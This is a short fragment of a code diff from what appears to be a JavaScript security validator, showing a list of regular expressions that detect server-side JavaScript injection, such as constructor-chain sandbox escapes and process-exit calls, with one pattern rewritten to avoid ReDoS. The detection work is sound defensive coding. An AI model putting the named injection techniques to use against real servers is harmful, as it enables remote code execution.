/this\.constructor\.constructor/i,
|
|
529
529
|
/process\(\)\.exit/i,
|
|
530
|
-
/['"]\s*;\s
|
|
530
|
+
/['"]\s*;\s*[^;]{0,100};\s*\/\//i // Bounded to prevent ReDoS
|
|
531
531
|
];
|
|
532
532
|
|
|
533
533
|
for (const pattern of ssjsPatterns) {
|